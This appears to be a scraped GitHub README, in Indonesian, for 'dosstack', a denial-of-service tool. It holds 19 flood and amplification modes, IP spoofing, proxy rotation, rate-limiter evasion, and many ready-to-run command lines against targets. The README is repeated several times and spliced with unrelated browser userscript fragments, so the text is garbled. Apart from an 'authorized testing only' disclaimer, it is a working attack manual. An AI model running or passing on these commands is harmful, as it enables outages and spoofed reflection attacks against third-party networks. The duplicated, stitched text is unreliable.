./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

